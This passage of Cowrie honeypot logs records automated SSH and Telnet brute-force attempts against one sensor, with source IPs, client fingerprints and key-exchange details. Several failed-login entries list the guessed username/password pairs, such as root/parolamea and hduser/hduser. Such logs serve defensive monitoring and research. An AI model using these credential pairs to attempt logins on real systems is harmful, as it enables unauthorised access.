tm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:26.687939Z","src_ip":"176.65.132.254","session":"2aaff24dbd45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:26.948833Z","src_ip":"176.65.132.254","session":"2aaff24dbd45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.75936579704285,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:27.754636Z","src_ip":"62.210.97.77","session":"ea19ecbd23c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":60476,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d6757f6d67b","protocol":"ssh","message":"New connection: 187.16.96.250:60476 (10.17.0.5:22) [session: 9d6757f6d67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:27.793996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:27.801307Z","src_ip":"187.16.96.250","session":"9d6757f6d67b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:27.917851Z","src_ip":"187.16.96.250","session":"9d6757f6d67b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:28.041991Z","src_ip":"176.65.132.254","session":"2aaff24dbd45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36450,"dst_ip":"10.17.0.5","dst_port":23,"session":"10aa8d117aa1","protocol":"telnet","message":"New connection: 62.210.97.77:36450 (10.17.0.5:23) [session: 10aa8d117aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:28.056825Z"}
{"eventid":"cowrie.session.closed","duration":30.751274585723877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:28.170049Z","src_ip":"136.144.139.78","session":"808c45badb53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":38326,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5c8cc32e4e5","protocol":"ssh","message":"New connection: 103.189.235.176:38326 (159.203.135.109:22) [session: b5c8cc32e4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:28.361147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:28.366413Z","src_ip":"103.189.235.176","session":"b5c8cc32e4e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"server123","message":"login attempt [test/server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:28.416203Z","src_ip":"187.16.96.250","session":"9d6757f6d67b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:28.606581Z","src_ip":"103.189.235.176","session":"b5c8cc32e4e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59072,"dst_ip":"10.17.0.5","dst_port":23,"session":"0141f068f1e7","protocol":"telnet","message":"New connection: 62.210.97.77:59072 (10.17.0.5:23) [session: 0141f068f1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:28.705912Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59084,"dst_ip":"10.17.0.5","dst_port":23,"session":"01a55eda8179","protocol":"telnet","message":"New connection: 62.210.97.77:59084 (10.17.0.5:23) [session: 01a55eda8179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:28.897590Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:29.535613Z","src_ip":"187.16.96.250","session":"9d6757f6d67b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234567890","message":"login attempt [root/test1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:29.589638Z","src_ip":"103.189.235.176","session":"b5c8cc32e4e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.9428026676178,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:30.294834Z","src_ip":"62.210.97.77","session":"504b0e3663b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:30.829720Z","src_ip":"103.189.235.176","session":"b5c8cc32e4e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44998,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b3bf33497cb","protocol":"ssh","message":"New connection: 176.65.132.254:44998 (10.17.0.5:22) [session: 2b3bf33497cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.043756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.051932Z","src_ip":"176.65.132.254","session":"2b3bf33497cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.136924Z","src_ip":"176.65.132.254","session":"2b3bf33497cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.16289210319519,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.217509Z","src_ip":"65.60.27.33","session":"6cb0184226ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":55292,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8568042cc9c","protocol":"telnet","message":"New connection: 136.144.139.78:55292 (159.203.135.109:23) [session: d8568042cc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.432457Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":18138,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a28746d2307","protocol":"ssh","message":"New connection: 152.32.189.59:18138 (159.203.135.109:22) [session: 6a28746d2307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.444714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.452528Z","src_ip":"152.32.189.59","session":"6a28746d2307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.458042Z","src_ip":"176.65.132.254","session":"2b3bf33497cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59100,"dst_ip":"10.17.0.5","dst_port":23,"session":"3348a91eab6c","protocol":"telnet","message":"New connection: 62.210.97.77:59100 (10.17.0.5:23) [session: 3348a91eab6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.523656Z"}
{"eventid":"cowrie.session.closed","duration":40.77070665359497,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.593858Z","src_ip":"134.209.8.29","session":"9e8d73682626","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:31.718086Z","src_ip":"152.32.189.59","session":"6a28746d2307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42492,"dst_ip":"10.17.0.5","dst_port":23,"session":"e487f0748d83","protocol":"telnet","message":"New connection: 38.54.119.93:42492 (10.17.0.5:23) [session: e487f0748d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:32.407878Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:32.544321Z","src_ip":"176.65.132.254","session":"2b3bf33497cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_test","password":"ftp_test","message":"login attempt [ftp_test/ftp_test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:32.574982Z","src_ip":"152.32.189.59","session":"6a28746d2307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59106,"dst_ip":"10.17.0.5","dst_port":23,"session":"e516d1c28983","protocol":"telnet","message":"New connection: 62.210.97.77:59106 (10.17.0.5:23) [session: e516d1c28983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:32.881598Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43116,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aa6b77da768","protocol":"telnet","message":"New connection: 38.54.119.93:43116 (10.17.0.5:23) [session: 6aa6b77da768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:33.267678Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:33.803586Z","src_ip":"152.32.189.59","session":"6a28746d2307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59114,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a9d5ae96ee5","protocol":"telnet","message":"New connection: 62.210.97.77:59114 (10.17.0.5:23) [session: 2a9d5ae96ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:34.506569Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39128,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eff571bc343","protocol":"ssh","message":"New connection: 176.65.132.254:39128 (10.17.0.5:22) [session: 4eff571bc343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:35.075113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:35.079273Z","src_ip":"176.65.132.254","session":"4eff571bc343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:35.160717Z","src_ip":"176.65.132.254","session":"4eff571bc343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.54567050933838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:35.168837Z","src_ip":"136.144.139.78","session":"1becce387cd1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:35.439205Z","src_ip":"176.65.132.254","session":"4eff571bc343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.180087089538574,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:35.812629Z","src_ip":"134.209.8.29","session":"ace173131ba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":60946,"dst_ip":"159.203.135.109","dst_port":23,"session":"054c10bd52e1","protocol":"telnet","message":"New connection: 136.144.139.78:60946 (159.203.135.109:23) [session: 054c10bd52e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:35.964372Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":60950,"dst_ip":"159.203.135.109","dst_port":23,"session":"1caa7743fa91","protocol":"telnet","message":"New connection: 136.144.139.78:60950 (159.203.135.109:23) [session: 1caa7743fa91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:36.163880Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:36.523120Z","src_ip":"176.65.132.254","session":"4eff571bc343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.690489292144775,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:36.794715Z","src_ip":"62.210.97.77","session":"770196be85e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45520,"dst_ip":"10.17.0.5","dst_port":23,"session":"c15a08af91d6","protocol":"telnet","message":"New connection: 38.54.119.93:45520 (10.17.0.5:23) [session: c15a08af91d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:37.136750Z"}
{"eventid":"cowrie.session.closed","duration":31.67066478729248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:37.364546Z","src_ip":"62.210.97.77","session":"5dd67dd40c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.344032049179077,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:37.751768Z","src_ip":"38.54.119.93","session":"e487f0748d83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81311297416687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:39.081730Z","src_ip":"136.144.139.78","session":"ceb44def4860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.781607151031494,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:39.145215Z","src_ip":"62.210.97.77","session":"3b9c8be0d75e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39130,"dst_ip":"10.17.0.5","dst_port":22,"session":"277b9132c73a","protocol":"ssh","message":"New connection: 176.65.132.254:39130 (10.17.0.5:22) [session: 277b9132c73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:39.328732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:39.334122Z","src_ip":"176.65.132.254","session":"277b9132c73a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59122,"dst_ip":"10.17.0.5","dst_port":23,"session":"13d1b6d6012e","protocol":"telnet","message":"New connection: 62.210.97.77:59122 (10.17.0.5:23) [session: 13d1b6d6012e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:39.344443Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-